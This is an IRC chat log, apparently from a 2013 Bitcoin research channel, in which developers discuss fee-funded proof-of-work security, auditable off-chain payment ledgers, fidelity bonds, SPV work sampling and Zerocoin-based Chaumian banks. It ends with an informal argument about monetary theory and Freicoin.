12:18 < petertodd> adam3us: nah, I'd say the bigger limitation is that long-term PoW security needs to be paid for by fees, and the basic economic model is screwy there and has a high potential of failure
12:18 < adam3us> jtimon: incentive you mean? ask petertodd he's the incentive / game-theory gur ;P
12:18 < petertodd> adam3us: it's the think with off-chain stuff: it becoming too effective is a huge risk in the long-term!
12:19 < petertodd> adam3us: now that's like, 10 years away long term hopefully, but it's a problem that needs solving eventually
12:19 < adam3us> petertodd: it seems like the biggest open q about it really. incentives. but its not like that solved in main. $25k/block or $150k/6-block is the price to admission (x the failure rate to build a chain long enough)
12:20 < jtimon> petertodd are you suggesting off-chain technology working nicely and securely is a "huge risk"? what do you mean?
12:21 < adam3us> petertodd: Maybe its a TD thing. we (humans) want and need this to work, so maybe most honest people will do it and that will carry the day
12:21 < petertodd> adam3us: yup, currently my best guess is per-tx PoW schemes (and actually, maybe per *txin* PoW schemes) with anti-pooling stuff and PoW algorithms more resistant to ASIC centralization is what'll work, but those are all -wizard level questions and lots of research to be done
12:21 < adam3us> jtimon: he's worried about an incentive break down leading to attacks
12:22 < jtimon> adam3us well I ask you because you made the firewall claim, but I'm happy receiving an explanation from anybody
12:22 < petertodd> adam3us: in the meantime, honesty and other non-ideal second order effects will help the existing system limp along for a lot longer than it deserves too
12:22 < petertodd> jtimon: yes, in the long term the PoW security needs to be paid for, and one of the few reasonable ways to do it is transaction fees, no-txs == no pow security in many very plausible future models
19:32 <@gmaxwell> at some point this should get built, even if its just a toy insecure form.
19:33 <@gmaxwell> people were talking in #bitcoin-offtopic about building an IRC micropayment bot...
19:33 <@petertodd> Did you read my bonded ledgers thing?
19:33 <@gmaxwell> You send it 1btc.. then you can bot: pay petertodd 0.012345 btc and eventually petertodd can checkout if he likes.
19:33 <@petertodd> The idea of focusing on making a ledger who you are only holding to not allow double-spends to happen is nice.
19:34 <@gmaxwell> Not secure, not private, etc. But it would be insanely useful. It would do micropayments instantly in a way bitcoin cannot, it would avoid blockchain bloat and transaction fees.. etc. Even the weakest forms of your chaum bank stuff would be better than "just trust the bank"
19:35 <@gmaxwell> the bonded ledgers was just the OP code for double spends?
19:35 <@petertodd> Yeah, and if it's just a ledger, you could re-use all the Bitcoin transaction machinery, including machinery to do double-spend proofs.
19:35 <@petertodd> Pretty much, and if the scripting system was just slightly more powerful, you probably wouldn't even need a dedicated opcode.
19:36 <@gmaxwell> I wonder how you could construct its transactions to make the proof of doublespending maximally small?
19:37 <@petertodd> Basically decompose CHECKSIG, allow for string manipulation, and provide a way to constraint was the txout set of a scriptPubKey spend is.
19:37 <@gmaxwell> though I suppose ideally it would work on bitcointransactions so you could use it for both on and off chain doublespending prevention.
19:37 <@gmaxwell> though that presupposes a public ledger which is lame.
19:37 <@petertodd> Well, one key thing would be for signatures to use a hash tree to generate the hashes. You just have to show that the inputs were the same both times, not the outputs.
19:38 <@gmaxwell> yea, I've wanted to define a transaction format that is tree structured
for other reasons: to build altchains that don't validate burried signatures.
19:38 <@petertodd> Public ledger is the easiest, but you don't have to do that. One way would be to use a crypto accumulator ont he set of all txins spent.
19:39 <@petertodd> So you would challenge the ledger periodicly to prove they didn't double-spend your transactions.
19:39 <@petertodd> hmm... actually, that could work very nicely...
19:40 <@petertodd> You do need the ledger to publish some type of "state of the ledger" publicly, in a way that can be retrieved anonymously, but, for instance, that could be done with the ledgers deposit and withdrawl transactions as a smalldata.
19:41 <@petertodd> Basically, for any tx the ledger ever makes, if you find the ledgers signature on it you can simple say "OK, so that's the state of the ledger, now prove to me that you didn't double-spend my input"
19:41 <@gmaxwell> the advantage, e.g. of an irc paybot is better scale for microtxn, and improved privacy (basically privacy more like IRCs: not cryptostrong but ephemerial so long as everyone is playing nice)
19:42 <@petertodd> And when you accept a transaction from the ledger, ask for *that* transctions history, back to where it came from in the blockchain.
19:43 <@petertodd> I assume you've seen reddit's bitcointip right?
19:44 <@gmaxwell> yes. pretty horrible in that it makes a bitcoin txn per tip or at least it did.
19:44 <@gmaxwell> "worst of all worlds: insecure, slow, and non-scalable"
19:44 <@petertodd> Pretty sure it still does; it's blockchain.info based.
19:44 <@petertodd> Especially given the tiny size of tips.
19:45 <@gmaxwell> Yea, b.i
doesn't even have a facility for internal transactions.
19:45 <@petertodd> OK, so there's a goal: an library for auditable off-chain transactions.
19:45 <@petertodd> Well, how could b.i and still meet it's security promises?
19:46 <@gmaxwell> by allowing you to have some portion of your balance with b.i instead of in your wallet, of course.
19:46 <@petertodd> Well, sure, but then they need my auditable off-chain tx library. :P
19:46 <@gmaxwell> :)
19:46 <@gmaxwell> mtgox seems to do fine without one.
19:47 <@petertodd> mtgox is big enough to have credibility, of coruse, so is b.i
19:47 <@gmaxwell> What would the audits prove?
19:47 <@petertodd> The audits *could* prove fraud, if caught.
19:47 <@gmaxwell> I mean what kind of fraud.
19:47 <@petertodd> Well, lets say the ledger is internally doing a full blockchain basically, one tx per block.
19:48 <@petertodd> Each block is signed by the ledger, and the blockchain is linked by a merkle mountain range hash system.
19:48 <@petertodd> You also have a UTXO proof system basically.
19:49 <@petertodd> So, one valid query would be to ask "Give me a full transaction history from my tx back to the on-chain tx"
19:49 <@gmaxwell> Right, how do you avoid the proofs not becoming exponential as coins split and merge?
19:49 <@petertodd> It's a good question, likely the ledger can only say "proofs will never be more than 1MiB" or something.
19:50 <@gmaxwell> basically, I'm thinking this hidden blockchain model imposes some performance limits on the dumb-irc-bot-bank that would be unfortunate.
19:50 <@petertodd> I mean, heck, just make the whole thing downloadable, and every year or so just throw it away and start fresh.
19:50 <@petertodd> Yeah, it's a tough one.
19:51 <@petertodd> Double-spend fraud in the ledger is detectable enough, with a spent-UTXO accumulator.
19:51 <@gmaxwell> well what do we really need to prove: that the users balances sum to the deposits, right? What else for that application?
19:51 <@petertodd> Yes, I think that's the biggest one.
19:52 <@petertodd> The other thing is proving that the ledger isn't giving me my money back, although for now that doesn't need to be automatic.
19:53 <@gmaxwell> So, the bot publishes an anonmized list of accounts and their balances. And it publishes sigmessages showing it holds an equal amount of bitcoin. You can see your balance in the public list,
19:53 <@petertodd> Hmm... well if every transaction is in a chain, and updates a balance sum, that helps. At least all the transactions to and from the ledger can be easily audited. (to deposit the ledger would sign your deposit tx as well)
19:55 <@petertodd> Do we need balances, or scriptPubKey txout hashes?
19:55 <@petertodd> (with merkle summing)
19:55 <@gmaxwell> if your balance changes on you and you don't agree... you publish a "fuck you, bot stole my balance"--account key. which people hash to get the anonmized account key, and the bot publishes a list of all the txn to your account, and all withdraws should be signed by you.
19:56 <@gmaxwell> and if the bot can't produce a transaction log that matches the balance sheet, we know it robbed that person.
19:57 <@petertodd> That works easy enough.
19:57 <@gmaxwell> initial deposits into the system could basically be handled by the payment protocol type non-repudation.
19:58 <@petertodd> So basically, the bot can't inflate the balance, provided that every user checks that their balance is shown in the public ledger.
19:58 <@petertodd> The ledger balance must match up to the on-chain balance.
19:58 <@gmaxwell> You go to deposit in, bot says "okay, I'll add 1 btc to account H(pubkey), iff you pay address 1unrelated" --bot ... and if you don't get credited you can cry foul on that too.
19:59 <@petertodd> Yes, my fidelity-bonded ledger thing even had a special UTXO out query opcode for that, to use internally with the ledger.
19:59 <@gmaxwell> I don't think that on chain deposits would actually go in directly. Instead the system would be started off with one account: "bank" and a balance owned by the bank. Payments into the system would go into the bank owner's private wallet, and he'd move funds from the bank internal balance to the user mostly.
20:00 <@petertodd> OK, that's reasonable, and as you say, the deposit includes the promise to move the balance from the bank balance to your one.
20:00 <@gmaxwell> (of course the balance balance could be increased over time, but there wouldn't need to be a 1:1 match. This would also enable people to buy space in the bank using chaum tokens, mtgox codes, or whatever they want
since deposit inside the bank and on the chain are decoupled)
20:01 <@gmaxwell> well whatever they want subject to how automated fraud handling should be.
20:01 <@petertodd> It's still very reliant on that public ledger of all balances, but seems doable.
20:01 <@gmaxwell> the public leger would need to be delayed somewhat, I expect.
20:01 <@petertodd> For privacy?
20:01 <@petertodd> Delaying is fine provided it includes some type of hash linking back to your tx's.
20:02 <@petertodd> You want to be able to prove that a tx you performed should have been included in the master published ledger hash, but wasn't.
20:03 < ielo> hello helo
20:03 < ielo> ielo helo
20:05 <@amiller> i think this use of proving txs is only useful if there's osmething automated that happens
20:05 <@amiller> but this is a good reason to want the big bitcoin blockchain to be capable of metavalidation of other chains
20:05 <@amiller> because something like a doublspend in a minor chain can trigger an insurance payout in a larger chain
20:05 <@petertodd> amiller: This is the toy system - we'll implement automated proofs later.
20:06 <@petertodd> amiller: Basically this is Mt. Gox redeem codes + some auditing.
20:13 <@gmaxwell> petertodd: I guess the balance sheet really ought to be a Merkle-sum-tree.. this way they only publish the root, and only allow users to query their own balance.
20:14 <@gmaxwell> if the whole balance sheet is public you can grok out whos transacting with who by observing matching changes in balance.
20:14 <@gmaxwell> with a Merkle-sum-tree deanonymization requires the users to cooperate to deanonymize each other.
20:58 <@gmaxwell> I also have a related proposal, which needs a new transaction format, that I call checkpoint-transactions where users specify checkpoints in their transactions and the fees can only be recovered (completely?) in chains where the checkpoint matches.
20:58 < amiller> petertodd, fair enough but i think that's not interesting and/or not a reason to try to understand the behavior of optimal miners better
20:59 <@gmaxwell> amiller: I don't think your solution is stable. There will just be an incentive to reduce that fee via whatever other means are available. External fees, promoting locked/checkpointed txn/ etc.
20:59 < amiller> so you are saying that i acn do it cheaper
20:59 < amiller> by paying someone out of band
21:00 <@gmaxwell> I think so.
21:00 < petertodd> amiller: sure, and this is -wizards, but remember there is value in fixing the problem for 95% of the cases
21:00 < amiller> i don't see why that's any chaeper or more effective than broadcasting the remainder as af ee
21:01 <@gmaxwell> amiller: because unless the fee you take is zero there still exists some orphaning incentive.
21:01 <@gmaxwell> and unless the fee you give away is zero there is some incentive to take fee move to another way.
21:01 < amiller> i think the optimal amount to take is exactly the fair cost of the work
21:02 < amiller> like that would an equilibrium point because anyone else would be indifferent to mine above or below you
21:02 < amiller> which would be good, like it would be good if such a stable equilibrium existed
21:02 <@gmaxwell> But I want moar. and I can get moar if I just arrange to pay in a way other than fees.
21:03 < amiller> what other ways are there and how do i include them in this model so i can argue about under what conditions they're cheaper
21:03 < amiller> pay per shares?
21:03 < amiller> i just claimed that the equilibrium is taking eactly the cost of thew ork
21:03 < amiller> meaning exactly the same as what it would take to purchase mining shares
21:04 < amiller> so those are the same equilibriums
21:04 <@gmaxwell> I'm not talking about purchasing mining shares.
21:04 <@gmaxwell> okay, we're not communicating and I have work to do.
21:06 < amiller> "you send me shares and I pay you with regular bitcoin transactions"
21:07 < amiller> that's why i assumed that's what you were talking about
21:10 <@gmaxwell> amiller: Ah, I see how I wasn't clear. I mean that I pay you for proof that you're attempting to work on my transactions, I dont give a hoot for the rest of the block, I'm not paying you for that, just the fees for mine.
21:10 <@gmaxwell> I'm not running the mining infrastructure or anything else.
21:10 <@gmaxwell> you could do the same work and send proof to hundreds of parties.
21:13 < amiller> ok well i still don't see why that would be a cheaper way to get mining power to work on your transactions
21:13 < amiller> i have to afk a bit so i'll try to work out what you might mean and you can work :o
21:34 <@gmaxwell> amiller: it's cheaper simply because the parties you pay don't have to give any of it away to avoid the risk of being orphaned to steal it.
22:31 < amiller> ah ok so yeah my premise that this begins with someone paying extraordinary fees is silly because there's no good reason for anyone to pay such a fee
22:33 < petertodd> amiller: fidelity bonds
22:33 < amiller> oh yeah hm
22:33 < petertodd> amiller: although if the fidelity bond fee is high enough to create weird incentives, it's not working correct
22:34 < amiller> if there was a time that there were more rational miners that were prepared to take advantage of opportunities like that
22:34 <@gmaxwell> you can make the fidelity bond into a transaction chain easily enough.
22:34 < amiller> then i think it would be better to remove the coinbase maturity limit
22:34 < amiller> i think i don't understand what it's there for anyway
22:35 < petertodd> gmaxwell: yeah, my protocol is designed to make that easy
22:35 <@gmaxwell> It prevents a reorg for making honest people into thieves.
22:35 < petertodd> gmaxwell: in part for that reason
22:36 < petertodd> yup, like imagine no maturity, someone spreads a coinbase tx to hundreds of people, and then it gets reorged
22:36 < petertodd> even on a technical level that's ugly
22:36 <@gmaxwell> It also reduces the boom-and-bust incentive
where you get a bunch of hashpower to majority attack the chain for a bit then quickly sell the coin before anyone notices you've been attacking. Though I think this is just a side benefit.
22:37 < amiller> i don't see how that is unique to coinbase as opposed to any other transaction
22:37 < petertodd> amiller: any other transaction can be put in another block
22:38 < petertodd> (modulo tx mutability)
22:40 < amiller> i see, so it's like a double spend, except a) it's easier to pull off because it will definitely work because it can't be spent in another block (that's the important part) and b) the attacker doesn't get his coins back
22:41 < amiller> that doesn't seem compelling to me because it's still caveat emptor as far as waiting for 6 blocks before believe you own the coin
22:41 < petertodd> yeah, that's one way of looking at it. I mean the main thing is just that it creates horridly ugly accounting problems
22:41 < petertodd> I doubt satoshi thought too hard about nash equilibriums for weirdly high fees - heck, I found an email from him dated nov 2008 where he wasn't even sure if bitcoin would have tx fees at all
22:42 < amiller> (tbh it's not really that i'm so concerned with high tx fees but i'm trying to get a good grasp of this and it's a toehold, and i have so few others!)
22:43 < petertodd> it'd be good to understand it better before people start making crazy fidelity bond sacrifices...
22:48 < amiller> it's possible that a weird high-tx fee attempt could make a double-spend attack cheaper
22:49 < amiller> my new fantasy prediction is that a stylized "rational mining pool" will eventually become predominate and shortly nearly everyone else will follow
22:50 < amiller> you know, that and the 'auto-double spend' feature gets built into every client so that in the case of a huge fork, no one wants to be the guy with the hot potato that gives up a windfall to the scumbag after you who has it enabled
22:51 < petertodd> heh, you'd like my mempool rewrite...
22:52 < amiller> i'm afraid i'm going to dislike it only because it will make this network-mapping project i'm about to try not work so well
22:52 < petertodd> lol, what's this project?
22:52 < amiller> i want to probe the network to see which peers are actually connected with sockets
22:52 < amiller> the simple case is i want to see if node A and node B share a connection
22:53 < petertodd> ah, I better develop some alt-p2p info distribution systems quick...
22:53 < amiller> i create two conflicting txs Tx0 and Tx1, I send Tx0 to both A and B, and simultaneously send Tx1 to everyone else i can connect to
22:53 < petertodd> interesting
22:53 < amiller> now A and B are logically isolated from everyone else
22:53 < amiller> I can send Tx0' to A and see if B relays it
22:53 < amiller> if so, i know they're connected, or at most they're connected via a dark pool dude
22:54 < amiller> because no one else will relay Tx0' because it conflicts with Tx0
22:54 < amiller> this can be improved in pretty straightforward ways to do a lot of mapping in fewer passes
22:54 < petertodd> and you can use that to trace back connections to individual mining pool nodes
22:54 < amiller> it breaks if people relay conflicting transactions or use different rules for mempool
22:55 < petertodd> yeah, replace-by-fee isn't a problem, but the totally different mempool behavior could be
22:55 < petertodd> still, just pay a reasonably high fee to get high priority, and make the profitability equal for both txs
22:55 < amiller> yeah
22:55 < amiller> well lmk if you start to propose something that would braek this
22:56 < amiller> because i think it's probably better for everyone if they obscure their connections but it would defeat my attempt at glory
22:56 < amiller> also petertodd tell me what you think of this
22:56 < amiller> a major thing that is lacking is the ability to get realtime measurements of mining power
22:56 < amiller> this would be solved if mining pools would release some of their shares, as realtime streams of proof of work
22:56 < petertodd> heh, I think you are a bad person, incapable of love, for trying to defeat anonymity, but at the same time, I'd much, much rather see you do it, so you should do this
22:57 < petertodd> well, just ask them nicely...
22:57 < amiller> well asking them is one thing
22:57 < amiller> but i'd rather everyone demand it because they acknowledge its better for the network to do so
22:57 < amiller> anyone who's doing mining should be able to produce concise summaries of their work
22:57 < amiller> just a sample of their shares, like their nearest misses
22:58 < amiller> i could measure p2pool this way of course
22:58 < amiller> but "ethical" pools like slush or btcguild or whatever should adopt this too because it would make it easier to respond to changes
22:58 < amiller> for example during the 0.7/0.8 fork it would make it easier/quicker to estimate just how much of the hashpower has switched behaviors or something
22:58 < petertodd> sounds like central authority...
22:59 < amiller> no it's inherently distributed
22:59 < petertodd> if you need that information, I think it'd be better to ask how can you *not* need it
22:59 < amiller> do you grok what i mean by concise samples of proof of work
22:59 < amiller> oh i see what you mean
23:00 < amiller> the realtime information could be used to amplify movements like that?
23:00 < petertodd> see, I think we're better off accempting that in the short term mining is this crazy random process, and you just have to wait until consensus emerges
17:46 < amiller> lets keep consideing the worst case where i am the only one using this trade path and so i have to pay for the entire validation
17:47 < gmaxwell> that in and of itself is a residual hold up risk.
17:48 < gmaxwell> e.g. I can at least extort the value of that refund minus epsilon assuming the non-iterated interaction.
17:48 < amiller> lets decide we figure out what that price will be and set an appropriate length of time
17:48 < gmaxwell> I'm not sure how much of a real risk holdup actually is.
17:48 < amiller> does this solve the race condition
17:48 < amiller> i still can't put my finger on how to state this
17:48 < gmaxwell> The interesting thing is that it's always been possible to do secure-except-holdup cross chain transactions
and no one is doing it.
17:49 < gmaxwell> But you can't say that holdup is some enormous scare factor because plenty of people do totally insecure cross chain trades.
17:49 < gmaxwell> I have a feeling that holdup isn't actually a big problem. It's a problem
but you could just add a little bit of reputation or identity and basically eliminate it.
17:50 < petertodd> All the evidence that the holdup happened can be right in the blockchain making the reuse problem fidelity bonds face much easier to solve.
17:50 < gmaxwell> (or at least reduce it to the point where that kind of solution is cheaper
even considering the weighed failures
than the infrastructure required and the direct costs for your proof-refund txns)
17:51 < amiller> i'm aiming bigger, if this is solvable then it's useful for local rather than global chains
17:51 < gmaxwell> petertodd: right, you can even say a foo-bond can only be used for one txout at a time.
17:52 < petertodd> gmaxwell: exactly
17:52 < gmaxwell> amiller: I realize this, as a fundimental way of making thing scale better. ... making the global chain a metachain that validates cross chain transactions, effectively. In which case its reasonable for the local chains to all watch the global chain but not viceversa.
17:52 < amiller> right
17:52 < amiller> yeah... well put
17:53 < petertodd> worst comes to worst, use the global chain for consensus on the fidelity bonds
17:54 < petertodd> And the existence of a global chain can be used directly for your proof-of-work algorithm via proof-of-sacrifice.
17:57 < amiller> ok so along the way, at the very least we've talked just now about a new result for SPV verification
17:57 < amiller> you can sample work and show that a coin *is still available/unspent* without even having to validate all the headers
17:58 < petertodd> ? I missed how that works
17:58 < amiller> petertodd, do you know the work-sampling idea
17:59 < petertodd> amiller: no
18:00 < amiller> petertodd, https://bitcointalk.org/index.php?topic=98986.0
18:00 < amiller> if you have some big collection of blocks, and you want to estimate the total amount of proof-of-work used to create them all, you can do that just by sampling a really small number of them
18:01 < amiller> if there are a million blocks with at least two zeros 00xxxxx
18:01 < petertodd> right, seems obvious enough
18:02 < amiller> then there are probably at least a hundred blocks with several more zeros 00000xxx
18:02 < gmaxwell> amiller: works for large numbers, not so much for small numbers though.. and that doesn't prove they're connected, unless the structure is changed to link along the hash highway.
18:03 < amiller> the structure can be changed pretty efficiently to have a sort of skip-list like thing to make it easier to produce that sample
18:03 < amiller> for spv it's not necessary to prove they're connected, you just have to prove they all don't disagree
18:04 < petertodd> amiller: merkle mountain range: https://github.com/opentimestamps/opentimestamps-server/blob/master/doc/merkle-mountain-range.md
18:04 < petertodd> how are you going to show they don't disagree?
18:04 < gmaxwell> I'm not actually sure if thats better for proving header difficutly than a straight non-interactive cut and choose. The later is easier to put proofs in just some blocks.
18:05 < amiller> petertodd, by showing that each member of the sample commits to a utxo and that each utxo still has the transaction in it i want to prove still exists
18:05 < gmaxwell> petertodd: you repeat the proof for each block
e.g. it's unspent here and here and here and here. you don't need to show they're connected.
18:05 < gmaxwell> big proof though.
18:06 < amiller> gmaxwell, i think you might be right about cut and choose working just as well
18:07 < amiller> in any case it's basically just possible to do this
18:09 < petertodd> amiller: Why not just do a binary search?
18:10 < petertodd> amiller: Oh wait, I'm dumb...
18:11 < gmaxwell> its kinda sad no one has proposed a non-interactive cut and choose to faster bootstrap spv.
18:11 < amiller> i guess i still don't know how to efficiently prove that it wasn't spent in the last 10 blocks, because you can fake that work easier
18:11 < petertodd> Well, SPV bootstraps pretty fast anyway...
18:11 < amiller> i think i worked out that you could sample work more finely towards the front and get some benefit
18:12 < petertodd> amiller: Proving a coin wasn't spent recently is always going to be insecure - you only have a recent mined block as witness.
18:12 < gmaxwell> petertodd: they're distributing "checkpoints" with SPV clients now to make them bootstrap fast. :(
18:13 < petertodd> amiller: I mentioned to TD earlier today the idea of miners committing to a merkle tree of txids in their mempool, just to prove visibility, you could use that if the commitment included txins being spent.
18:13 < gmaxwell> (though their checkpoints aren't the same kind of thing the reference client has
at least in bitcoinj based stuff they're a "if you can connect back at least this far, the sum of the rest of the diff is Y", as far as I understand it)
18:14 < petertodd> gmaxwell: What? True, I guess on a cellphone ~100MB adds up or whatever it is...
18:14 < gmaxwell> well it's 20mbytes right now.
18:14 < gmaxwell> but the fetching isn't very efficient.
18:14 < gmaxwell> e.g. not pipelined.
18:15 < petertodd> gmaxwell: What do you mean by pipelined? You just mean we can't ask for more than one block header at a time?
18:17 < gmaxwell> I thought they did scalar fetching instead of piplelining, but I might be incorrect. I'm going by what I've seen from logged getheaders but perhaps I'm just missing them setting the count to >1.
18:17 < gmaxwell> Otherwise I don't really understand the reason for the optimization.
18:18 < petertodd> gah, powers out, wonder how long the ups's at work last...
18:18 < petertodd> gmaxwell: TD's NSA handlers?
18:19 < petertodd> I guess you should be able to set your bloom filter to match nothing, then ask for sequences of blocks, and get just the headers pipelined
18:22 < gmaxwell> petertodd: I mean, getheaders works just like getblocks and should be able to pipeline.
18:23 < gmaxwell> I just didn't think it was being used that way; but its likely that I'm stupid
19:32 < amiller> so this should also work with other-than-proof of work
19:33 < amiller> suppose there are just two separately-trusted serializer entities like opentransaction servers or quorum or whatever
19:36 < amiller> eh i'll finish that thought later
--- Log closed Tue Jul 09 00:00:22 2013
--- Log opened Tue Jul 09 00:00:22 2013
10:48 < petertodd> gmaxwell, amiller: powers back - Toronto just broke the record for most rain in a single day in history, 126mm, vs. the previous of 121mm during hurricane hazel in the 50's... the creek behind my apartment rose about 15ft, although fortunately the engineering is pretty good and houses are set back enough that other than a flooded school it was just some
basements here and there flooded.
10:53 < amiller> ahh... hopefully your basement wasn't affected!
10:53 < amiller> according to my logs you did not miss any conversation :)
10:54 < petertodd> I'm on the twelfth floor :)
10:54 < petertodd> thought my legs are killing me... the backup power for the elevators and lights died, and I spent a few hours helping people up to their apartments who didn't have lights...
11:16 < gmaxwell> 'here is a flashlight, drop it down the garbage chute when you make it'
12:38 < petertodd> gmaxwell: clever
15:08 < gmaxwell> petertodd: have you pondered the implications of replacing chaum tokens in a chaumian bank with zerocoin? I think it lets you make the signing oracle memoryless (well, enough to verify ZC proofs).
15:09 < petertodd> gmaxwell: That's a good idea actually
15:10 < petertodd> gmaxwell: Although right now I'm convinced the right way to go is with a proof-of-sacrifice blockchain.
15:10 < gmaxwell> Further reducing the scale of the part that has to be trustworthy and resistant to regulator weirdness. Also, if we had a more scalable group signature scheme, the bank could be pretty massively distributed.
15:11 < petertodd> gmaxwell: Auditing the signing oracle would be really easy too.
15:12 < petertodd> gmaxwell: Oh hang on though, you still need consensus about the state of the zerocoin accumulator, so it's not memoryless
15:12 < gmaxwell> petertodd: no you don't.
15:12 < petertodd> How does that work?
15:12 < gmaxwell> it signs the last proof it saw.
15:13 < gmaxwell> and then you just present that proof with your next update.
15:13 < gmaxwell> same way a storageless full miner could still add transactions with the help of a client that has the utxo.
15:13 < petertodd> Yes, but it needs to know the height of the last proof signed. That's not totally memoryless
15:14 < gmaxwell> Fair point. In the case where its not distributed it still reduces it to a counter.
15:14 * jgarzik listens -- this might have application on my idea for a network of bots that enable off-chain transactions, with some level of prove-they-are-not-cheating
05:17 < gmaxwell> jtimon: well not quite because there is no perfect competition, so everyone with friction along that path are taking their tax.
05:17 < deantrade> Well, if the coins weren't spent for 100 years, then the market probably already adjusted to the lower effective money supply, then like if the original miners who forgot/lost their private keys all get their coins thrown out, people will then know for sure the money supply actually is smaller.
05:18 < jtimon> think about paper wallets, physical representations of bitcoin...
05:18 < jtimon> gmaxwell there is perfect competition in theory
05:19 < jtimon> and bitcoin's "demand for security" is extremely elastic
05:20 < gmaxwell> security is basically a perfect lemon market. You only need any at all except in hindsight.
05:20 < deantrade> jtimon: on that note, I was thinking that eventually people will make altcoins with all sorts of different fixed inflation rates (fixed per ledger), and then let the market decide which inflation rate they want to use.
05:22 < deantrade> I wish bitcoin didn't have such drastic changes in block reward... 50 25 12.5... its a big deal when transaction fees are significantly less than inflation block reward
05:23 < deantrade> I mean to say, it shoulda been made more continual, no?
05:23 < gmaxwell> seemed to work out okay in practice.
05:24 < gmaxwell> piecewise constant has certian planning and accounting advantages.
05:24 < deantrade> In practice it didn't really matter too much to the miners. But when the next transition hits, miners will have tro do lots of planning yea on what kind of hardware they want to buy and run.
05:24 < jtimon> in freicoin it decreases linearly
05:25 < jtimon> gmaxwell some have said that the first reward halving caused the following "bubble"
05:25 < deantrade> In just one block the reward for mining is going to half when it had been the same for 4 years, that is going to have a big effect on network hash rate when it happens
05:25 < jtimon> deantrade not necessarily, it can also affect prices, or both or a combination
05:26 < gmaxwell> jtimon: the following bubble was pretty long after (three months?)
05:26 < gmaxwell> jtimon: if so, uh. well I am not complaining.
05:26 < deantrade> jtimon: No, I don't think so. Bitcoin is valuable because it is better than other currencies/money/banking systems.
05:26 < deantrade> Maybe bitcoin's halving just brought lots of media attention and more confidence to the system because it was maturing.
05:27 < jtimon> I think it was Impaler who speculated that that was the time it took for the markets to "feel the lack of new bitcoins coming"
05:27 < jtimon> according to him, miners speculated as much as they could but then they had to sell some part to pay the bills
05:28 < jtimon> I think liear would have been better but I don't think it is a big deal really
05:29 < deantrade> Linear? I'm not sure what you mean. Do you mean a more continual reward reduction rather than one step every 4 years?
05:29 < gmaxwell> jtimon: I'm skeptical, market volume was a pretty big multiple of the newly mined coins by then (oddly it seems lower now) but I guess its unknowable.
05:30 < jtimon> deantrade yes, in frc it is reduced every block until it is not reduced anymore
05:30 < gmaxwell> the biggest argument against the half operation that I have is that it creates a pretty big incentive to orphan the last block!
05:31 < gmaxwell> but arguably a continuious formula makes for a much smaller incentive to do that constantly instead of only a couple times in the system's life.
05:31 < jtimon> gmaxwell yeah I don't know, Impaler or galambo (I think was Impaler) made some numbers I think, but I agree is probably unknowable
05:32 < jtimon> never thought about it that way
05:32 < gmaxwell> jtimon: it's also hard to sort out because we actually changed who was mining at that time.
05:33 < gmaxwell> When the 50->25 change happened I was watching eagerly to see if we'd get stuck warring for the last 50 btc block. :P
05:33 < jtimon> I have no idea, but it was an interesting hypothesis
05:33 < gmaxwell> certantly we had miners which were large enough to where doing so would have been rational.
05:33 < deantrade> I was just looking at the FAQ on freicoin. I disagree with a lot of what the author has to say, his philosophy. It flies in the face of Austrian Economics.
05:33 < jtimon> yeah, we have to rewrite those faqs to somthing more neutral
05:34 < jtimon> r000n wrote those faqs
05:34 < deantrade> For example: "But money is created by the government, isn't it?" You say the government doesn't make the money, but that's not quite right.
05:34 < jtimon> I wrote ones before but then they were assimilated into the about page...
05:34 < deantrade> The Federal Government's Military and Citizen Police enforce the US's monopoly on money in the US and in international trade
05:34 < jtimon> it's not very well expressed
05:35 < jtimon> but comercial banks create most of the money, even if the state enforced that privilege
05:35 < deantrade> In exchange, the Federal Reserve prints them lots of money for thier protection racket.
05:35 < deantrade> Yea, I agree, the commercial banks also with their FDIC default protection get to print lots of money for themselves too
05:36 < jtimon> the treasury could print the money directly without needing to "exchange" anything with the fed
05:36 < deantrade> Yea but that would be less confusing, and they like to keep the sheeple confused
05:36 < jtimon> that's what "greenbackers", positive money and other monetary reformist propose
05:37 < jtimon> what backs paper money is the state and its promise to tax you on that currency
05:37 < deantrade> Anyways, yea the government is the enforcer of the monopoly money, the gov steals from gold backed private banks (NORFED/egold/1933)
05:37 < jtimon> not anything in the feds balance sheet
05:38 < deantrade> No, what backs paper money is that using paper money and banks increases our productivity via productivity gains in specialization and trade
05:38 < jtimon> that's what back all money, but yes, true
05:38 < deantrade> Its just that there is a monopoly enforcement on USD, so we have to use USD to get those productivity gains
05:39 < jtimon> what i mean is that state money (like any other money) doesn't need any backing
05:40 < jtimon> and the goverment could take all the seignoriage for itself instead of giving it to the banking cartel
05:40 < deantrade> I agree, only for money to have reliable limited supply and for it to be easily/most efficent in trading is what makes money valuable as money
05:40 < jtimon> it doesn't even need to impose a monopoly
05:41 < deantrade> Hm, but the banking cartel is kind of like the smart people, and the government is just pandering politicans who do what the cartel wants.
05:42 < jtimon> yeah, the politicians don't rule
05:43 < deantrade> Freicoin says that the underlying cause of the boom/bust cycle is the entrenchment of the financial elite... so it then concludes that for people to be able to own durable valubable things for a long time is bad.
05:43 < deantrade> That is invalid.
05:43 < deantrade> The boom/bust cycle is caused by monopoly money enforcement + money supply manipulation.
05:45 < jtimon> no, what causes monetary cycles is nominally everlasting money's incapability of producing zero interest rates when real capital yields naturally drop that low
05:45 < jtimon> keynes didn't solved the problem, but the problem is older than him
05:45 < jtimon> there was monetary cycles with gold
05:46 < jtimon> we really need to correct the fact, thank you for pointing that out
05:47 < deantrade> "There was monetary cycles with gold"-> not so much when there were private banks, there were local and chain defaults, and booms from bankers increasing their reserve ratios... but nothing like what the Federal Reserve can do.
05:47 < jtimon> probably you learn more about free-money by reading directly from Gesell
05:48 < jtimon> well, I'm not historian
05:49 < jtimon> but when do you say monetary cicles started?
05:50 < jtimon> Gesell, predicted hyperiflation as the unoavoidable end of keynes-like schemes, yet was strongly against gold and blamed it for cycles
05:50 < deantrade> "money's incapability of producing zero interest rates when real capital yields drop that low"-> uh... in the free market... every durable good has an interest rate that directly corresponds to how much value over time it brings to the market owners as demand and people's strength of desire to own something now rather than later.
05:51 < deantrade> Monetary cycles start when banks loan out at higher rates then they can afford to stay in business without defaulting.
05:51 < deantrade> When banks loan more out (higher reserve ratios) (lower interest rates)
05:52 < jtimon> deantrade so called "time preference" theory of interest is based on the fallacy that everybody prefers things in the present over things in the future
05:52 < jtimon> just because everybody prefers dollars and gold in the present than in the future
05:53 < deantrade> If people don't care when they have something then interest rates go lower. That doesn't make it invalid/fallacy, you are just confirming what I am saying.
05:53 < jtimon> interest rates, like any other price, depends on supply and demand
